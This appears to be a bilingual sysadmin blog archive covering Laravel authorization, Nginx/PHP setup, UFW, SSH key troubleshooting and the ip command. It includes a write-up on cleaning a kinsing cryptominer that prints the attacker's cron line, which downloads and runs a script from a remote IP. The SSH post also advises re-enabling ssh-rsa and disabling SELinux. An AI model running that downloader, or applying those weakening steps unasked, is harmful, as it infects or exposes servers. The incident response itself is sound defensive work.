可以在Laravel框架的以下地方鉴权:
- 使用can中间件
- 使用表单请求数据验证类的authorize方法。注意,使用php artisan命令创建的表单请求数据验证类,默认包含return false的authorize方法
- 在控制器的方法里使用authorize、can、cannot等方法
- 在Blade模板中使用@can、@cannot等指令
- 使用Sanctum的令牌能力
可以在Laravel框架的以下地方鉴权:
My server is running Ubuntu 24. Today, after installing and configuring a WordPress blog based on Nginx 1.24, PHP 8.3, and MySQL 8.0, I ran the following command to check the server load:
$ top -i
I noticed that the kdevtmpfsi
process was using 100% of the CPU. A quick search revealed that this is a malicious mining process. Typically, two malicious mining processes—kdevtmpfsi
and kinsing
—are found together. Here’s how I resolved the issue:
kdevtmpfsi
and kinsing
ProcessesFirst, find the process ID (PID) for kdevtmpfsi
and kill it:
$ ps aux | grep kdevtmpfsi | awk '{print $2}' | xargs sudo kill -9
Next, find the PID for kinsing
and kill it:
$ ps aux | grep kinsing | awk '{print $2}' | xargs sudo kill -9
Now, search for and remove any files associated with kdevtmpfsi
and kinsing
:
$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;
The output should look like this:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
www-data
UserThe top -i
command showed that the user running the kdevtmpfsi
process was www-data
, so I checked the scheduled tasks for this user:
$ sudo crontab -l -u www-data
I found the following task:
* * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1
This cron job downloads and executes the unk.sh
script, which in turn downloads and runs the kdevtmpfsi
and kinsing
programs. To remove this scheduled task, I ran:
$ sudo crontab -r -u www-data
Then, I deleted the unk.sh
script:
$ sudo find / -iname unk.sh -exec rm -fv {} \;
kdevtmpfsi
and kinsing
To prevent the kdevtmpfsi
and kinsing
files from being executed again, I created them as non-executable placeholder files and set them to read-only:
$ touch /tmp/kdevtmpfsi && touch /tmp/kinsing
$ echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ echo "kinsing is fine now" > /tmp/kinsing
$ chmod 0444 /tmp/kdevtmpfsi
$ chmod 0444 /tmp/kinsing
This ensures that these files are no longer executable and cannot run.
I enabled the UFW firewall and blocked access from the IP address 185.122.204.197
, which was being used for the malicious downloads:
$ sudo ufw allow ssh
$ sudo ufw enable
$ sudo ufw allow http
$ sudo ufw allow https
$ sudo ufw deny from 185.122.204.197
To check the UFW status:
$ sudo ufw status numbered
According to online resources, this issue is likely due to the php-fpm
service exposing port 9000 to the internet. To fix this, I edited the php-fpm
configuration file:
$ sudo vim /etc/php/8.3/fpm/pool.d/www.conf
I changed the following line:
listen = 9000
to:
listen = 127.0.0.1:9000
This restricts php-fpm
to only listen on the local 127.0.0.1
IP address. To apply the changes, I restarted the php-fpm
service:
$ sudo systemctl restart php8.3-fpm
我的服务器的操作系统是Ubuntu 24。今天安装并配置了Wordpress博客,基于Nginx 1.24 + PHP 8.3 + MySQL 8.0。我运行以下命令查看服务器负载:$ top -i
发现kdevtmpfsi进程CPU使用率达到100%。网上查了一下,说它是恶意的挖矿进程。一般同时存在两个恶意的挖矿进程:kdevtmpfsi和kinsing。解决步骤如下。
第一步,查找kdevtmpfsi进程的id并杀死:$ ps aux | grep kdevtmpfsi | awk '{print $2}' | xargs sudo kill -9
查找kinsing进程的id并杀死:$ ps aux | grep kinsing | awk '{print $2}' | xargs sudo kill -9
第二步,使用以下命令查找并删除kdevtmpfsi和kinsing进程对应的程序文件:
$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;
输出应如下所示:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
第三步,top -i命令显示运行kdevtmpfsi进程的用户是www-data用户,因此查看www-data用户设置的计划任务:
$ sudo crontab -l -u www-data
* * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1
果然有,这个计划任务的功能是每隔一定时间就下载并运行unk.sh脚本程序,这个脚本程序会下载kdevtmpfsi和kinsing程序并启动运行。删除www-data用户的计划任务:$ sudo crontab -r -u www-data
删除unk.sh脚本文件:$ sudo find / -iname unk.sh -exec rm -fv {} \;
第四步,创建自己的kdevtmpfsi和kinsing文件并将其设置为只读:
$ touch /tmp/kdevtmpfsi && touch /tmp/kinsing
$ echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ echo "kinsing is fine now" > /tmp/kinsing
$ chmod 0444 /tmp/kdevtmpfsi
$ chmod 0444 /tmp/kinsing
这么做后kdevtmpfsi和kinsing文件就不是可执行程序了,就无法运行起来了。
第五步,启动UFW防火墙并禁止185.122.204.197这个IP对我当前的服务器的访问:
$ sudo ufw allow ssh
$ sudo ufw enable
$ sudo ufw allow http
$ sudo ufw allow https
$ sudo ufw deny from 185.122.204.197
查看UFW状态:$ sudo ufw status numbered
根据网上的资料,这个问题很可能是php-fpm服务暴露9000端口到互联网引起的,因此修改php-fpm配置文件:$ sudo vim /etc/php/8.3/fpm/pool.d/www.conf
把以下这行:listen = 9000
改为:listen = 127.0.0.1:9000
意思是php-fpm服务只监听本机127.0.0.1这个IP地址。重启php-fpm服务使配置文件的修改生效:$ sudo systemctl restart php8.3-fpm
参考
https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu
环境
Ubuntut 22桌面版
如果在安装nginx之前已经安装了apache2,那么80端口已经被apache2监听了,使用以下命令停止apache2服务:sudo systemctl stop apache2
使用以下命令禁止apache2开机自动启动:sudo systemctl disable apache2
由于apache2和nginx默认的网站根目录都是/var/www/html/,因此成功安装和启动nginx后,在操作系统内部的火狐浏览器访问:http://localhost
访问到了apache2的欢迎页面,不要惊讶,因为nginx在/var/www/html/目录安装的是index.nginx-debian.html。我们可以执行以下命令备份apache2安装的index.html:sudo mv /var/www/html/index.html /var/www/html/index.apache2-ubuntu22.html
然后把index.nginx-debian.html改名为index.html:sudo mv /var/www/html/index.nginx-debian.html /var/www/html/index.html
这样再访问http://localhost
就能访问到nginx的欢迎页面了!
Ubuntu安装nginx后,默认没有创建nginx用户和组(在CentOS系统是创建nginx用户和组),而是创建www-data用户和组。
首先更新系统:
sudo apt update && sudo apt upgrade -y
Ubuntu 24执行以下命令即可安装php8.3:
sudo apt install php -y
安装完成后,检查php的版本:
php --version
使用sudo apt install php8.3-PACKAGE_NAME
命令安装php常用扩展,把PACKAGE_NAME
替换为具体的扩展名:
sudo apt install -y php8.3-cli php8.3-common php8.3-fpm php8.3-mysql php8.3-zip php8.3-gd php8.3-mbstring php8.3-curl php8.3-xml php8.3-bcmath php8.3-sqlite3 php8.3-intl php8.3-bz2 php8.3-imagick php8.3-redis
查看已经安装了哪些php扩展:
php -m
参考
防火墙是一种用于监控和过滤传入和传出网络流量的工具。它的工作原理是定义一组安全规则来确定是否允许或阻止特定流量。正确配置防火墙是整个系统安全的最重要方面之一。
Ubuntu 附带了一个名为 UFW(Uncomplicated Firewall,简单的防火墙)的防火墙配置工具。它是一个用户友好的前端,用于管理 iptables 防火墙规则。它的主要目标是让防火墙更容易管理。
Ubuntu 系统自带UFW。如果由于某种原因未安装UFW,你可以执行以下命令来安装该软件包:
sudo apt update
sudo apt install ufw
UFW 默认是禁用的。你可以使用以下命令检查 UFW 服务的状态:
sudo ufw status verbose
输出:
Status: inactive
表示UFW状态是“不活动”,即UFW服务不在运行。如果输出:
Status: active
表示UFW服务是在运行着的。
UFW 防火墙的默认行为是阻止所有传入和转发流量并允许所有出站流量。这意味着除非你专门打开端口,否则任何试图访问你的服务器的人都将无法连接。但在你的服务器上运行的应用程序能够访问外部世界。
默认策略在/etc/default/ufw文件中定义,可以通过手动修改文件或使用sudo ufw default <policy> <chain>
命令来更改。防火墙策略是构建更复杂的用户自定义的规则的基础。
每个应用程序都可以拥有自己的UFW配置文件,在里面定义特定于这个应用程序的防火墙规则,配置文件是 INI 格式的文本文件,位于/etc/ufw/applications.d目录里。
你可以通过输入以下命令列出服务器上可用的所有应用程序的UFW配置文件:
sudo ufw app list
根据系统上安装的软件包,输出将类似于以下内容:
Available applications:
Nginx Full
Nginx HTTP
Nginx HTTPS
OpenSSH
要查看特定应用程序的UFW规则,例如Nginx Full,请使用以下命令:
sudo ufw app info 'Nginx Full'
输出显示“Nginx Full”配置文件打开了80和443端口:
Profile: Nginx Full
Title: Web Server (Nginx, HTTP + HTTPS)
Description: Small, but very powerful and efficient web server
Ports:
80,443/tcp
如果你从远程位置连接到 Ubuntu,那么在启用 UFW 防火墙之前,你必须明确允许传入的SSH连接。否则,你将无法再通过SSH连接到该机器。
要配置你的 UFW 防火墙以允许传入的 SSH 连接,请输入以下命令:
sudo ufw allow ssh
输出:
Rules updated
Rules updated (v6)
如果 SSH 在非标准端口(即不是22端口)上运行 ,则需要打开该端口。例如,如果你的 ssh 守护进程在7722端口上侦听,请输入以下命令以允许该端口上的进入连接:
sudo ufw allow 7722/tcp
现在UFW防火墙已配置为允许传入的 SSH 连接,你可以通过键入以下命令来启动UFW防火墙:
sudo ufw enable
输出:
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup
系统将警告你启用防火墙可能会中断现有的 ssh 连接,键入y并点击Enter即可。
根据系统上运行的应用程序,你可能还需要开放其他端口。打开端口的一般语法是:
ufw allow port_number/protocol
以下是一些允许外部人员访问你的服务器的 HTTP 服务的方法。
第一个方法是使用服务名称。UFW会检查/etc/services文件中指定的服务的端口和协议:
sudo ufw allow http
第二个方法是指定端口号和协议:
sudo ufw allow 80/tcp
当没有给出协议时,UFW 会为tcp和udp都创建这个规则。
第三个方法是使用应用程序的UFW配置文件。在本例中是“Nginx HTTP”:
sudo ufw allow ‘Nginx HTTP’
UFW 还支持使用关键字proto指定协议的另一种语法:
sudo ufw allow proto tcp to any port 80
UFW还允许你开放端口范围。起始端口和结束端口以冒号 (:) 分隔,并且你必须指定协议,可以是tcp或udp。
例如,如果你想开放7100到7200这个端口范围,可以运行以下命令:
sudo ufw allow 7100:7200/tcp
sudo ufw allow 7100:7200/udp
要允许来自特定源 IP 的所有端口上的进入连接,请使用from关键字后跟源地址。以下是将 IP 地址列入白名单的示例:
sudo ufw allow from 64.63.62.61
如果你只允许特定 IP 地址访问特定端口,请使用to any port关键字后跟端口号。例如,要允许IP地址为64.63.62.61的计算机访问22端口,执行以下命令:
sudo ufw allow from 64.63.62.61 to any port 22
允许IP地址范围与允许单个IP地址的语法相同。唯一的区别是你需要指定网络掩码(子网掩码)。
下面是一个示例,展示如何允许IP地址范围从192.168.1.1到192.168.1.254对3360端口(MySQL服务)的访问:
sudo ufw allow from 192.168.1.0/24 to any port 3306
要允许特定网络接口上的连接,请使用in on关键字后跟网络接口的名称:
sudo ufw allow in on eth2 to any port 3306
以上允许外部通过eth2网络接口对3306端口的访问。
所有进入连接的默认策略是deny
,UFW将阻止所有进入连接,除非你专门开放某个连接。
编写拒绝规则与编写允许规则相同,你只需使用deny关键字代替allow。
假设你开放了端口80和443,并且你的服务器受到23.24.25.0/24网络攻击。要拒绝来自它们的所有连接,可以运行以下命令:
sudo ufw deny from 23.24.25.0/24
下面是仅拒绝它们访问80端口和443端口的示例:
sudo ufw deny proto tcp from 23.24.25.0/24 to any port 80,443
有两种不同的方法,可以通过规则编号或指定实际规则来删除 UFW 规则。
按规则编号删除规则比较容易,尤其是当您你刚接触 UFW 时。要按规则编号删除规则,首先需要找到要删除的规则的编号。要获取编号规则的列表,请使用以下命令:
sudo ufw status numbered
输出类似于:
Status: active
To Action From
-- ------ ----
[ 1] 22/tcp ALLOW IN Anywhere
[ 2] 80/tcp ALLOW IN Anywhere
[ 3] 8080/tcp ALLOW IN Anywhere
要删除编号为3的允许连接到8080端口的规则,请执行以下命令:
sudo ufw delete 3
第二种方法是通过指定实际规则来删除规则。例如,如果你添加了一条开放端口8069的规则,则可以用以下命令删除它:
sudo ufw delete allow 8069
如果你想要停止UFW并停用所有规则,你可以执行:
sudo ufw disable
稍后如果你想重启UFW并激活所有规则,只需执行:
sudo ufw enable
重置UFW将禁用UFW并删除所有规则。如果你想重新开始配置UFW的话,请执行以下命令:
sudo ufw reset
IP 伪装是 Linux 内核中 NAT(网络地址转换)的一种变体,它通过重写源和目标 IP 地址和端口来转换网络流量。使用 IP 伪装,你可以允许私有网络中的一台或多台计算机使用其中一台充当网关与互联网通信。
使用 UFW 配置 IP 伪装涉及几个步骤。
首先,你需要启用 IP 转发。为此,请打开文件/etc/ufw/sysctl.conf文件:
sudo vim /etc/ufw/sysctl.conf
找到并取消注释以下行net.ipv4.ip_forward = 1:
net/ipv4/ip_forward=1
接下来,你需要配置 UFW 以允许转发数据包。打开 UFW 配置文件:
sudo vim /etc/default/ufw
找到该DEFAULT_FORWARD_POLICY
键,并将值从DROP
更改为ACCEPT
:
DEFAULT_FORWARD_POLICY="ACCEPT"
现在你需要设置nat表中POSTROUTING链的默认策略和伪装规则。为此,请打开/etc/ufw/before.rules文件:
sudo nano /etc/ufw/before.rules
添加以下几行:
#NAT table rules
*nat
:POSTROUTING ACCEPT [0:0]
# Forward traffic through eth0 - Change to public network interface
-A POSTROUTING -s 10.8.0.0/16 -o eth0 -j MASQUERADE
# don't delete the 'COMMIT' line or these rules won't be processed
COMMIT
不要忘记替换-A POSTROUTING
行中的eth0
为你的公共网络接口的名称。
完成后,保存并关闭文件。最后,通过禁用并重新启用UFW来重新加载UFW规则:
sudo ufw disable
sudo ufw enable
ufw limit命令可以进行限速,默认的限速规则是20秒内不得超过6次访问。例如:
ufw limit ssh
即可防止ssh被疯狂猜测账号密码暴力登录。
ufw有个全局选项--dry-run
,如果加了这个参数,那么不会真的执行,而是会输出将会怎样执行,类比为MySQL的explain。例如:
$ sudo ufw --dry-run allow http
查看ufw命令的帮助:
$ ufw --help
Usage: ufw COMMAND
Commands:
enable enables the firewall
disable disables the firewall
default ARG set default policy
logging LEVEL set logging to LEVEL
allow ARGS add allow rule
deny ARGS add deny rule
reject ARGS add reject rule
limit ARGS add limit rule
delete RULE|NUM delete RULE
insert NUM RULE insert RULE at NUM
route RULE add route RULE
route delete RULE|NUM delete route RULE
route insert NUM RULE insert route RULE at NUM
reload reload firewall
reset reset firewall
status show firewall status
status numbered show firewall status as numbered list of RULES
status verbose show verbose firewall status
show ARG show firewall report
version display version information
Application profile commands:
app list list application profiles
app info PROFILE show information on PROFILE
app update PROFILE update PROFILE
app default ARG set default application policy
可以不加参数,也可以使用 numbered 或者 verbose 两个参数,分别是输出编号和详细输出:
$ sudo ufw status
Status: active
To Action From
-- ------ ----
syncthing ALLOW Anywhere
22 ALLOW Anywhere
Anywhere ALLOW 192.168.0.0/16
syncthing (v6) ALLOW Anywhere (v6)
22 (v6) ALLOW Anywhere (v6)
$ sudo ufw status numbered
Status: active
To Action From
-- ------ ----
[ 1] syncthing ALLOW IN Anywhere
[ 2] 22 ALLOW IN Anywhere
[ 3] Anywhere ALLOW IN 192.168.0.0/16
[ 4] syncthing (v6) ALLOW IN Anywhere (v6)
[ 5] 22 (v6) ALLOW IN Anywhere (v6)
删除规则的时候,就可以指定编号来删除,例如ufw delete 2。
$ sudo ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
22000/tcp (syncthing) ALLOW IN Anywhere
21027/udp (syncthing) ALLOW IN Anywhere
22 ALLOW IN Anywhere
Anywhere ALLOW IN 192.168.0.0/16
22000/tcp (syncthing (v6)) ALLOW IN Anywhere (v6)
21027/udp (syncthing (v6)) ALLOW IN Anywhere (v6)
22 (v6) ALLOW IN Anywhere (v6)
参考
I’m working with a remote Linux host running Ubuntu 24.
Following an online tutorial, I was able to successfully SSH into the remote host using a private key file from Git Bash with the following command:
$ ssh [email protected] -i .ssh/id_rsa
However, when I try using the same command and private key file in XShell, I get the error: “The selected user key is not registered on the remote host. Please try again.”
Upon checking the SSH log file /var/log/auth.log
, I found the following message:
userauth_pubkey: signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms [preauth]
This indicates that the SSH service on the remote host rejected the SSH-RSA public key signature algorithm during authentication, likely because it has been disabled in the remote host’s configuration.
The reason it worked in Git Bash but not in XShell is likely because Git Bash uses a newer version of the OpenSSH client that supports alternative signature algorithms (like rsa-sha2-256
or rsa-sha2-512
). On the other hand, XShell may still rely on the ssh-rsa
signature algorithm due to its default configuration or older client version, which results in the authentication failure.
Starting from OpenSSH 8.8, the ssh-rsa
algorithm is considered insecure, and some server configurations (like Ubuntu 24) disable it by default. In this case, the PubkeyAcceptedAlgorithms
configuration on the remote host may have disabled ssh-rsa
, only accepting more secure algorithms such as rsa-sha2-256
or rsa-sha2-512
.
To check my remote Linux host’s OpenSSH version, I ran:
$ sshd -V
OpenSSH_9.6p1 Ubuntu-3ubuntu13.5, OpenSSL 3.0.13 30 Jan 2024
It turned out to be OpenSSH 9.6.
This version of OpenSSH supports more secure public/private key pairs generated with the ECDSA (Elliptic Curve Digital Signature Algorithm). To fix the issue with XShell, I decided to regenerate a new key pair using the ECDSA algorithm. XShell provides a “New User Key Generation Wizard” under the “Tools (T)” menu to do this.
ssh-rsa
Algorithm (if the remote host allows it)If you have control over the remote host, you can allow the ssh-rsa
algorithm by modifying the SSH configuration file /etc/ssh/sshd_config
on the remote host. Here’s how you can do it:
1 Open the SSH configuration file:
sudo vim /etc/ssh/sshd_config
2 Find and add (or modify) the following line to allow ssh-rsa
:
PubkeyAcceptedAlgorithms +ssh-rsa
3 Restart the SSH service:
sudo systemctl restart ssh
If you’re using CentOS, restart sshd
instead:
sudo systemctl restart sshd
Other Causes for the Error “The Selected User Key is Not Registered on the Remote Host” or “Server Refused the User Key”
1 Incorrect directory or file permissions: Ensure that the permissions for the .ssh
directory and the authorized_keys
file are set correctly:
chmod 700 .ssh
chmod 600 .ssh/authorized_keys
Also, ensure that authorized_keys
is owned by the correct user:
chown ubuntu:ubuntu .ssh/authorized_keys
2 Incorrect key: Make sure the authorized_keys
file on the server contains the public key (usually ending with .pub
), not the private key.
3 SSH key authentication not enabled: The configuration file /etc/ssh/sshd_config
should have the following line and it should not be commented out:
PubkeyAuthentication yes
4 Username and key mismatch: If the key is in /home/debian/.ssh/
(for the debian
user), but you’re trying to log in as ubuntu
, authentication will fail.
5 Root login is disabled: If /etc/ssh/sshd_config
has PermitRootLogin no
, you won’t be able to log in as root.
6 SELinux is enabled: Run getenforce
to check the status of SELinux. The status should be Permissive
, not Enforcing
. Temporarily disable SELinux with:
setenforce 0
To permanently disable SELinux, edit the /etc/sysconfig/selinux
file and change SELINUX=enforcing
to SELINUX=disabled
.
7 Incorrect authorized_keys
filename: If the line in /etc/ssh/sshd_config
is:
# AuthorizedKeysFile .ssh/authorized_keys
but your .ssh
directory contains a file named authorized_key
, you should rename it to authorized_keys
.
我的远程Linux主机的操作系统是Ubuntu 24。
按照网上的教程,我在Git Bash上使用私钥文件成功ssh登录远程Linux主机,命令如下所示:
$ ssh [email protected] -i .ssh/id_rsa
但是使用同样的命令和私钥文件,却无法在XShell上ssh登录远程Linux主机,报错“所选的用户秘钥未在远程主机上注册。请再试一次”。
查看ssh的日志文件/var/log/auth.log,我发现如下信息:
userauth_pubkey: signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms [preauth]
这表明远程主机的 SSH 服务在进行公钥认证时,发现客户端使用的公钥签名算法是 ssh-rsa,但是在远程主机的配置中,ssh-rsa算法被禁用了,因此认证失败。
在Git Bash 中使用私钥可以登录成功,可能是因为 Git Bash 使用的是较新的 OpenSSH 客户端版本,并能够使用备用的签名算法(如 rsa-sha2-256 或 rsa-sha2-512)。但是在 XShell 中,可能由于其默认配置或旧版本的客户端,它仍然依赖于 ssh-rsa 签名算法进行身份验证,导致认证失败。
从 OpenSSH 8.8 开始,ssh-rsa 算法被视为不再安全,部分服务器配置(例如Ubuntu 24)默认禁用了该算法。在远程主机的 SSH 服务中,可能已经通过 PubkeyAcceptedAlgorithms 配置来禁用 ssh-rsa 算法,而只接受更安全的算法,例如 rsa-sha2-256 或 rsa-sha2-512。 查看我的远程Linux主机的OpenSSH版本:
$ sshd -V
OpenSSH_9.6p1 Ubuntu-3ubuntu13.5, OpenSSL 3.0.13 30 Jan 2024
发现是OpenSSH 9.6版本。
OpenSSH 9.6版本支持更安全的ECDSA(Elliptic Curve Digital Signature Algorithm) 算法生成的公钥和私钥。因此我解决XShell问题的方法是,使用ECDSA算法重新生成一对公钥和私钥,可以使用XShell的“工具(T)”->“新建用户秘钥生成向导”来做到:
另一个解决方案是,允许 ssh-rsa 算法(如果远程主机允许)。如果你有对远程主机的控制权,可以通过修改远程主机的 SSH 配置文件 /etc/ssh/sshd_config 来允许 ssh-rsa 算法。打开 /etc/ssh/sshd_config 文件:
sudo vim /etc/ssh/sshd_config
查找并添加(或修改)以下行,允许 ssh-rsa 算法:
PubkeyAcceptedAlgorithms +ssh-rsa
重启 SSH 服务:
sudo systemctl restart ssh
# 如果你的系统是CentOS
sudo systemctl restart sshd
其他会引起“所选的用户秘钥未在远程主机上注册。请再试一次”或“服务器拒绝了用户密钥”问题的原因还有:
1 没有正确设置目录和文件的权限:
chmod 700 .ssh
chmod 600 .ssh/authorized_keys
并且authorized_keys文件要归属于用户组,例如:
chown ubuntu:ubuntu .ssh/uthorized_keys
2 密钥错误:服务器上的 authorized_keys 保存的应是公钥(一般以.pub作为文件后缀名),而不是私钥。
3 未开启密钥验证:/etc/ssh/sshd_config这个配置文件中应有 PubkeyAuthentication yes 这一行,且没有被注释掉
4 用户名和密钥不匹配:假设密钥是放在 /home/debian/.ssh/ 下(即用户是 debian),但是登录的用户名却使用ubuntu
5 root用户名被禁止登陆:假设etc/ssh/sshd_config 配置了 PermitRootLogin no,却用 root 账户来登录
6 开启了SELinux:使用getenforce命令查看SELinux的状态,状态应该是Permissive,不能是 Enforcing。临时关闭SELinux:
setenforce 0
永久关闭SELinux的方法是:编辑/etc/sysconfig/selinux配置文件,把其中的 SELINUX=enforcing 替换为 SELINUX=disabled
7 SSH 配置文件/etc/ssh/sshd_config中有这么一行:
# AuthorizedKeysFile .ssh/authorized_keys
而你的.ssh目录下的对应文件的名字却是authorized_key,应该是authorized_keys。
在Laravel 5.7版本中,Telescope被官方引入并且作为官方推荐包提供。在Laravel 5.7版本之前,除了可以使用社区维护的Telescope之外,还可以使用Laravel开发者工具laravel-debugbar包。
现在Laravel最新版本是11,Telescope的调试功能已经比laravel-debugbar强大了,因此没有必要使用laravel-debugbar作为调试工具了。
The ip
command in Linux is a powerful utility for managing IP addresses, network interfaces, routing tables, and network namespaces. It provides granular control over various network configurations, making it an essential tool for system administrators.
Syntax
ip addr add|del IFADDR dev IFACE | show|flush [dev IFACE] [to PREFIX]
ip route list|flush|add|del|change|append|replace|test ROUTE
ip link set IFACE [up|down] [arp on|off] [multicast on|off] \
[promisc on|off] [mtu NUM] [name NAME] [qlen NUM] [address MAC] \
[master IFACE | nomaster] [netns PID]
ip tunnel add|change|del|show [NAME] \
[mode ipip|gre|sit] [remote ADDR] [local ADDR] [ttl TTL]
ip neigh show|flush [to PREFIX] [dev DEV] [nud STATE]
ip rule [list] | add|del SELECTOR ACTION
View IP addresses:
ip addr
Add an IP address to a device:
ip addr add 192.168.1.1/24 dev eth0
Remove an IP address:
ip addr del 192.168.1.1/24 dev eth0
Flush all IP addresses for a device:
ip addr flush dev eth0
Manage Network Devices
Display all network interfaces:
ip link
Show specific device details:
ip link show dev eth0
Bring an interface up or down:
ip link set eth0 up
ip link set eth0 down
Set MTU for a device:
ip link set eth0 mtu 1450
Add or delete a bridge device:
ip link add br0 type bridge
ip link del br0
Create a virtual Ethernet pair:
ip link add veth0 type veth peer name veth1
Manage Routing Tables
Display the main routing table:
ip route show table main
Add a default route:
ip route add default via 10.8.1.1 dev eth0
Add a static route:
ip route add 10.8.1.0/24 via 10.8.1.1
Replace an existing route:
ip route replace 10.8.1.0/24 dev eth0
Flush the routing table:
ip route flush cache
Manage Routing Rules
Show routing rules:
ip rule
Add a rule to use a specific table:
ip rule add from 10.8.1.0/24 table 520
Blackhole traffic from a specific source:
ip rule add from 0/0 blackhole
Manage Network Namespaces
List network namespaces:
ip netns
Create a network namespace:
ip netns add s1
Delete a namespace:
ip netns del s1
Execute a command within a namespace:
ip netns exec s1 ip addr
MTU (Maximum Transmission Unit) defines the maximum packet size for data transmission on a network device. Adjusting MTU impacts performance and compatibility.
View the current MTU for eth0
:
ip link show eth0
Set MTU to 1450 bytes:
ip link set eth0 mtu 1450
Common MTU Values:
Quick Tips with ip
Color-coded output:
ip -c addr
ip -c route
Compact display:
ip -brief link
ip -brief addr
For detailed configuration guides, check the official documentation.